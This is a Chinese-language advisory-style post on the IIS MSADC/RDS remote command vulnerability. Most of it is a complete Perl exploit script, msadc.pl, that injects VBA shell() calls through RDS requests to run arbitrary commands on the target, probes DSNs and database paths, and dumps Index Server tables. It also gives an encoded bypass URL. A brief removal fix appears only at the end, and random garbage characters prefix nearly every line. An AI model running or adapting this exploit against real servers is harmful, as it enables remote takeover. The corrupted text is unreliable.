IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
nN%Zed2O@6 SG@E*yT1 涉及程序:
*@eZt*_ Microsoft NT server
bH}?DMq]O \AOHZ r 描述:
\R[f< K% 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,1
^IFBJ K3^2;j1F Q 详细:
LEd@""h 如果你没有时间读详细内容的话,就删除:
Gp0yRT. c:\Program Files\Common Files\System\Msadc\msadcs.dll
G-[.BWQ 有关的安全问题就没有了。
Ex+E66bE EkpM'j= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
KY+BXGW* h4E[\<? 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
MLvd6tIv, 关于利用ODBC远程漏洞的描述,请参看:
kYZj^tR HhB&vi http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "IJ 9vXI tjJi| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
a v"dJm http://www.microsoft.com/security/bulletins/MS99-025faq.asp |t6 :4'] z7!@^!r 这里不再论述。
UM}MK 2O(= 2X 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
z9
$1jC G2yQHTbl /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
S0WKEv@Hn 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
avb'dx*q> =sUrSVUeU c7@[RG ! #将下面这段保存为txt文件,然后: "perl -x 文件名"
Y'O3RA5E B8 r#o=q1 #!perl
*?~&O.R" #
]--"
K{ # MSADC/RDS 'usage' (aka exploit) script
TFO4jjiC" #
!i8'gq'q # by rain.forest.puppy
<O3,b:vw #
WesEZ\V # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
AGV+Y6 # beta test and find errors!
BnU3oP LAH.PcjPa use Socket; use Getopt::Std;
.R_-$/ZP getopts("e:vd:h:XR", \%args);
cH`ziZ<&m1 -eFq^KP2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ebiOR1)sN E`#/m@:|- if (!defined $args{h} && !defined $args{R}) {
@n;$Edza/ print qq~
yk/BQ|G Usage: msadc.pl -h <host> { -d <delay> -X -v }
&%;K_asV; -h <host> = host you want to scan (ip or domain)
lpnPd{kE -d <seconds> = delay between calls, default 1 second
X< 4f7;]O -X = dump Index Server path table, if available
$O9,Gvnxx -v = verbose
FvVM}l' -e = external dictionary file for step 5
%
U|4%P [orS-H7^ Or a -R will resume a command session
fzr0dcNgM >k8FUf(c ~; exit;}
s
>7(S%#N H|z:j35\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/TScYE:$HE if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^]TYS]C if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
LvW7>- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
I(va;hG<o $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}{F1Cr if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
7gQ2dp #\&64 if (!defined $args{R}){ $ret = &has_msadc;
2}6StmE } die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^q\9HBHT K?6#jT6# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8B;HMD . "cmd /c ";
)|B3TjHC $in=<STDIN>; chomp $in;
kqZ+e/o>O9 $command="cmd /c " . $in ;
~IQw?a.E ZDr&Alp)o if (defined $args{R}) {&load; exit;}
K9c5HuGy bj_oA
i print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.-}F~FES &try_btcustmr;
lj 2OOU{
K2D,
*w print "\nStep 2: Trying to make our own DSN...";
=6xxZy[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
wY*tq{7 f5,!,]XO print "\nStep 3: Trying known DSNs...";
sh;>6xB &known_dsn;
`|e3OCU u.,l_D_ print "\nStep 4: Trying known .mdbs...";
I5#zo,9 &known_mdb;
NU%<Ws= hIFfvUl if (defined $args{e}){
:\KJw print "\nStep 5: Trying dictionary of DSN names...";
$kxP{0u &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`:kI@TPI_C HB9|AQ4K print "Sorry Charley...maybe next time?\n";
~JTp8E9kw
exit;
l [
Na vw 5^C.}/#>F ##############################################################################
Yl"l|2
: cc:,,T/i sub sendraw { # ripped and modded from whisker
wg=-&- sleep($delay); # it's a DoS on the server! At least on mine...
b|nh4g my ($pstr)=@_;
JQH>{OB socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=4804N7 die("Socket problems\n");
et}%E9 if(connect(S,pack "SnA4x8",2,80,$target)){
i7foZ\btFc select(S); $|=1;
2Z7r ZjXW print $pstr; my @in=<S>;
T*qSk! select(STDOUT); close(S);
BL H~`N3U return @in;
wD5fm5r= } else { die("Can't connect...\n"); }}
|WsB0R tQIa6c4| ##############################################################################
h.)o4(bO W5R / sub make_header { # make the HTTP request
4(TR'_X( my $msadc=<<EOT
rfYFS96 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
&nfGRb User-Agent: ACTIVEDATA
2)(ynrCe Host: $ip
Y *n[*N Content-Length: $clen
|6!L\/}M% Connection: Keep-Alive
/Gvd5 ;}4^WzmK^( ADCClientVersion:01.06
UBM:.*wN Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%>EM ^Z [)t1" --!ADM!ROX!YOUR!WORLD!
L(DDyA{bA Content-Type: application/x-varg
X%
X
&< Content-Length: $reqlen
|6GDIoZ HD153M, EOT
Hg2Rcl ; $msadc=~s/\n/\r\n/g;
-p[!CI return $msadc;}
aW(Hn[}^ G }U'?p ##############################################################################
Rv)>xw +|zcjI'=O sub make_req { # make the RDS request
pN#RTb8o my ($switch, $p1, $p2)=@_;
l1eF&wNC my $req=""; my $t1, $t2, $query, $dsn;
S94S[j0D
ws< (LH if ($switch==1){ # this is the btcustmr.mdb query
#T$yQ;eQ $query="Select * from Customers where City=" . make_shell();
W \XLf,_+ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
eWWfUNBSLX $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
o((!3H{D y-lBaTE9 elsif ($switch==2){ # this is general make table query
dQJ)0!B $query="create table AZZ (B int, C varchar(10))";
`!@d$*:' $dsn="$p1";}
r0,XR cc{^0JT elsif ($switch==3){ # this is general exploit table query
BMYvxSsm $query="select * from AZZ where C=" . make_shell();
kR65{h"gZT $dsn="$p1";}
FS7@6I2Ts oP_}C[ elsif ($switch==4){ # attempt to hork file info from index server
1)hO!% $query="select path from scope()";
tPaNhm[-q7 $dsn="Provider=MSIDXS;";}
=_Ip0FfK! ayrCLv elsif ($switch==5){ # bad query
;%!]C0? $query="select";
$HP<C>^Z8 $dsn="$p1";}
VRD:PVz ]La~Bh6;m $t1= make_unicode($query);
'|@?R |i0 $t2= make_unicode($dsn);
$$e"[g $req = "\x02\x00\x03\x00";
lky5%H $req.= "\x08\x00" . pack ("S1", length($t1));
]4eIhj? $req.= "\x00\x00" . $t1 ;
Eh&-b6: $req.= "\x08\x00" . pack ("S1", length($t2));
~zhP[qA}) $req.= "\x00\x00" . $t2 ;
5aJd:36I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
#TPS?+( return $req;}
AI#.G7'O "I0F"nQ ##############################################################################
XU|>SOR@z ~TYpq;rq sub make_shell { # this makes the shell() statement
PgdHH:v) return "'|shell(\"$command\")|'";}
0F9p'_C D8f4X
w}= ##############################################################################
si#1sdR raJv$P sub make_unicode { # quick little function to convert to unicode
SSysOeD+ my ($in)=@_; my $out;
U o[\1) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ZK5
wZU return $out;}
#D-Ttla HUalD3
\ ##############################################################################
'g:.&4x_w 0bl 8J5Ar5 sub rdo_success { # checks for RDO return success (this is kludge)
D.*o^{w| my (@in) = @_; my $base=content_start(@in);
k nljc^ if($in[$base]=~/multipart\/mixed/){
u{5+hZ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xl ,(=L] return 0;}
L~{3W W]I+Rlv)U ##############################################################################
Wgb L9'}B @G^m+- sub make_dsn { # this makes a DSN for us
Hv-f :P O my @drives=("c","d","e","f");
Dbw{E:pq print "\nMaking DSN: ";
D\^\_r): foreach $drive (@drives) {
`rb}"V+ print "$drive: ";
fVz0H1\J& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7UsU03 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#j4RX:T*[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&vN^*:Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#:s*Hy= return 0 if $2 eq "404"; # not found/doesn't exist
dU&hM<.| if($2 eq "200") {
98XlcI# foreach $line (@results) {
7x#."6>Dy return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
i,!t u } return 0;}
Kp>fOe'KW K#LDmC ##############################################################################
FK~*X3' 65U&P5W sub verify_exists {
L\xR<m<, my ($page)=@_;
<+_WMSf;4 my @results=sendraw("GET $page HTTP/1.0\n\n");
?H!QV;ku return $results[0];}
R\-]t{t` Ynl Zyw! ##############################################################################
S|r,RBeZ
=w ! 6un sub try_btcustmr {
ou=33}uO my @drives=("c","d","e","f");
5Kl;(0B9 my @dirs=("winnt","winnt35","winnt351","win","windows");
sB wzb .4[M7) foreach $dir (@dirs) {
D[dI_|59a print "$dir -> "; # fun status so you can see progress
B7(bNr foreach $drive (@drives) {
o^W.53yX print "$drive: "; # ditto
,j(S'Pw $reqlen=length( make_req(1,$drive,$dir) ) - 28;
T
3<2ds $reqlenlen=length( "$reqlen" );
;s?,QvE{r# $clen= 206 + $reqlenlen + $reqlen;
tHV+#3h f&!{o= my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|:pBk: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
<&l@ ):a else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Y_/w}HB uZa)N-=b2 ##############################################################################
ht2J, 1t v+C%t!dx sub odbc_error {
0t%`jY~% my (@in)=@_; my $base;
upiYo(sN. my $base = content_start(@in);
3;F up4!4} if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
` >[Offhd $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$l_\9J913 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_ ( $U\FW $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
7{p6&xXx return $in[$base+4].$in[$base+5].$in[$base+6];}
~p
x2kHZ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,L\>mGw print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
auAwZi/ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
[D2<) 2 }rYH;Mx ##############################################################################
:{%~L4$HI ('+C $ sub verbose {
Q2"K!u] my ($in)=@_;
{R?VB!dR return if !$verbose;
")9jt^ print STDOUT "\n$in\n";}
H3+P;2{ 465?,EpS ##############################################################################
vF9fXY= V^< Zs//7 sub save {
pYh\l.@qf my ($p1, $p2, $p3, $p4)=@_;
yM*_"z!L open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Rbcu5.6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
H@'u$qr$: close OUT;}
T@d4NF# O@a7MzJ ##############################################################################
O+t'E9Fa {Rq5=/b sub load {
G%>M@nYUE my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
|xrnLdng0R open(IN,"<rds.save") || die("Couldn't open rds.save\n");
EZ[e
a< @p=<IN>; close(IN);
P98g2ak $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8;O /x $target= inet_aton($ip) || die("inet_aton problems");
3cc;BWvM print "Resuming to $ip ...";
!-4VGt&c, $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
o
@nsv&i if($p[1]==1) {
@4Lol2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,Bl_6ZaL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
;0-R"c)- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
hbm#H7Y if (rdo_success(@results)){print "Success!\n";}
.9q`Tf else { print "failed\n"; verbose(odbc_error(@results));}}
RO| }WD) elsif ($p[1]==3){
+|qw>1J( if(run_query("$p[3]")){
PV-B<Y print "Success!\n";} else { print "failed\n"; }}
=g?k`vp elsif ($p[1]==4){
3*N0oc^m if(run_query($drvst . "$p[3]")){
3x>Y print "Success!\n"; } else { print "failed\n"; }}
f1
`E- exit;}
JG@Zb}b xn anca ##############################################################################
?N&s. 1ezBnZJg sub create_table {
T3PwM2em_` my ($in)=@_;
cG{ $reqlen=length( make_req(2,$in,"") ) - 28;
tNljv >vI $reqlenlen=length( "$reqlen" );
])?[9c $clen= 206 + $reqlenlen + $reqlen;
r-,u)zf" my @results=sendraw(make_header() . make_req(2,$in,""));
04:QEC"9mj return 1 if rdo_success(@results);
3-BC4y/ my $temp= odbc_error(@results); verbose($temp);
=d/$B!t{ return 1 if $temp=~/Table 'AZZ' already exists/;
P?Kg7m W return 0;}
XO}SPf- !UHX?<3r ##############################################################################
yeA]j[ # fa!8+kfi sub known_dsn {
&3:<WU:U # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Q}#xfrprF my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y<PQ$D) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
zA|)9Dq "banner", "banners", "ads", "ADCDemo", "ADCTest");
6
2t9SY gSkY c{b foreach $dSn (@dsns) {
wI?AZd;`' print ".";
:VE0eJ]J6 next if (!is_access("DSN=$dSn"));
);{76 if(create_table("DSN=$dSn")){
;#=y5Q4 print "$dSn successful\n";
'`j MNKn\ if(run_query("DSN=$dSn")){
szp.\CMz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sU/vXweky" print "Something's borked. Use verbose next time\n";}}} print "\n";}
NMESGNa)z goc; .~? ##############################################################################
eQ<GNvm b?:?" sub is_access {
G-'CjiMu my ($in)=@_;
izR#XeBm $reqlen=length( make_req(5,$in,"") ) - 28;
nI/kX^Pd $reqlenlen=length( "$reqlen" );
( +(bw4V/ $clen= 206 + $reqlenlen + $reqlen;
zEDN^K ' my @results=sendraw(make_header() . make_req(5,$in,""));
w@H@[x my $temp= odbc_error(@results);
K;]Dh? verbose($temp); return 1 if ($temp=~/Microsoft Access/);
9&{HD return 0;}
PNH>LT^ M6y|;lh''c ##############################################################################
#v*3-) 8 y w:=$e5 sub run_query {
ON"p^o>/_? my ($in)=@_;
AJ
z 1 $reqlen=length( make_req(3,$in,"") ) - 28;
i:H]Sb)<b $reqlenlen=length( "$reqlen" );
x^McUfdr| $clen= 206 + $reqlenlen + $reqlen;
ol}}c6 my @results=sendraw(make_header() . make_req(3,$in,""));
*vT Abk$ return 1 if rdo_success(@results);
tv5N
wM my $temp= odbc_error(@results); verbose($temp);
wpt5'|I return 0;}
)lP(isFP Z<'iT%6+r ##############################################################################
zKThM#.Wa #)4p,H sub known_mdb {
S~M/!Xb my @drives=("c","d","e","f","g");
ps*iE=D my @dirs=("winnt","winnt35","winnt351","win","windows");
umt(e:3f5 my $dir, $drive, $mdb;
-/_hO$|W my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
le6eorK8 YD#L@:&gv # this is sparse, because I don't know of many
?O0,)hro my @sysmdbs=( "\\catroot\\icatalog.mdb",
~J
>Jd "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
_)6r@fZ.p "\\system32\\certmdb.mdb",
r(<91~Ww "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3gv?rJV r9p ((ir my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I_|W'%N] "\\cfusion\\cfapps\\forums\\forums_.mdb",
&_' evZ8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
V!s#xXD } "\\cfusion\\cfapps\\security\\realm_.mdb",
n>,? V3ly "\\cfusion\\cfapps\\security\\data\\realm.mdb",
f/{ClP. "\\cfusion\\database\\cfexamples.mdb",
f'Rq#b@ "\\cfusion\\database\\cfsnippets.mdb",
CIz_v.&: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&UAYYH "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
HcpAp]L) "\\cfusion\\brighttiger\\database\\cleam.mdb",
:0p$r
pJP "\\cfusion\\database\\smpolicy.mdb",
HC"yC;_ "\\cfusion\\database\cypress.mdb",
y2nT)nL "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]'Gz~Z%>F "\\website\\cgi-win\\dbsample.mdb",
;X+cS,h "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
WfQZ7e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
U-D00l7C ); #these are just
U"Y/PBs, foreach $drive (@drives) {
'tt4"z2 foreach $dir (@dirs){
W+Ou%uv}S foreach $mdb (@sysmdbs) {
:\^jIKvZ print ".";
W>u{JgY if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
sHQO*[[ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9TEAM<b; if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T*k}E print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Q)5V3Q]@^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
oAvLSFn rpEN\S%7P foreach $drive (@drives) {
H-eHX3c7 foreach $mdb (@mdbs) {
)U{\c2b print ".";
hLT?aQLx if(create_table($drv . $drive . $dir . $mdb)){
9Z DbZc print "\n" . $drive . $dir . $mdb . " successful\n";
[}5mi?v if(run_query($drv . $drive . $dir . $mdb)){
E`|vu*l7 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
3S
@)Ans } else { print "Something's borked. Use verbose next time\n"; }}}}
Q1(4l?X@ }
WsT >|mZu)HIY; ##############################################################################
xrkR)~ E +5GPU 9k sub hork_idx {
~DS.b-E print "\nAttempting to dump Index Server tables...\n";
v3wq- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|g"K7XfM4 $reqlen=length( make_req(4,"","") ) - 28;
.&n!4F' $reqlenlen=length( "$reqlen" );
hJ75(I
*j $clen= 206 + $reqlenlen + $reqlen;
5+t$4N+P my @results=sendraw2(make_header() . make_req(4,"",""));
%0'7J@W if (rdo_success(@results)){
{D8yqO A} my $max=@results; my $c; my %d;
Ged} qXn for($c=19; $c<$max; $c++){
#Fkp6`Q$x $results[$c]=~s/\x00//g;
<&tdyAT?& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
!Oi':OQG $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
2rHQ7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
p+-IvU $d{"$1$2"}="";}
K1p. { foreach $c (keys %d){ print "$c\n"; }
:mt<]Oy3 } else {print "Index server doesn't seem to be installed.\n"; }}
r-a0XNS* 4jzjrG ##############################################################################
77'@U( YR[I,j sub dsn_dict {
9xeg,#1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
BadnL<cj] while(<IN>){
BN6cu9a $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Z_mQpt|y next if (!is_access("DSN=$dSn"));
2"WP>>b80 if(create_table("DSN=$dSn")){
ER;\Aes*? print "$dSn successful\n";
@Thrizh if(run_query("DSN=$dSn")){
.etG>tH print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
yTf/]H]d print "Something's borked. Use verbose next time\n";}}}
vi` VK&+r print "\n"; close(IN);}
J|([( AB<%GzW0( ##############################################################################
NHe[,nIV U#{(*)qr sub sendraw2 { # ripped and modded from whisker
_/YM@%d sleep($delay); # it's a DoS on the server! At least on mine...
xl9S=^`= my ($pstr)=@_;
tjQ6[` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
dV
/Es die("Socket problems\n");
.UvDew/Y if(connect(S,pack "SnA4x8",2,80,$target)){
gL`aLg_ print "Connected. Getting data";
/x\~5cC open(OUT,">raw.out"); my @in;
V5gr-^E select(S); $|=1; print $pstr;
_>_"cKS
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
6NQ`IC close(OUT); select(STDOUT); close(S); return @in;
lHE \Z` } else { die("Can't connect...\n"); }}
Z6&bUZF$bE cH707?p/I ##############################################################################
yE;S6 O d+"F(R9 sub content_start { # this will take in the server headers
cv. j my (@in)=@_; my $c;
m%c]+Our` for ($c=1;$c<500;$c++) {
5x!rT&!G if($in[$c] =~/^\x0d\x0a/){
):fu]s" if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<v?2p{U% else { return $c+1; }}}
=Z..&H5i return -1;} # it should never get here actually
l< H nP R/ /v.<h*hxWy ##############################################################################
V;gC[7H L1&` 3a?pL sub funky {
(0Jr<16si$ my (@in)=@_; my $error=odbc_error(@in);
Pfd%[C/vdm if($error=~/ADO could not find the specified provider/){
fS p print "\nServer returned an ADO miscofiguration message\nAborting.\n";
2>f3nW exit;}
W*/2x8$d if($error=~/A Handler is required/){
qHPinxewx print "\nServer has custom handler filters (they most likely are patched)\n";
(3=bKcD' exit;}
I1JL`\;4 if($error=~/specified Handler has denied Access/){
=L`PP>"rW print "\nServer has custom handler filters (they most likely are patched)\n";
5UX- Qqr exit;}}
<- R% 'C @yJf ##############################################################################
w}8=sw l9n$cv^ sub has_msadc {
F2Gg_u@7M my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
N|8^S my $base=content_start(@results);
),$^h7[n return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
IR32O,) return 0;}
{MUO25s02 4L r,}tA ########################
X^i3(N vzF6e eaD b#n 解决方案:
4 b}'W} 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
NOf{Xx<#k 2、移除web 目录: /msadc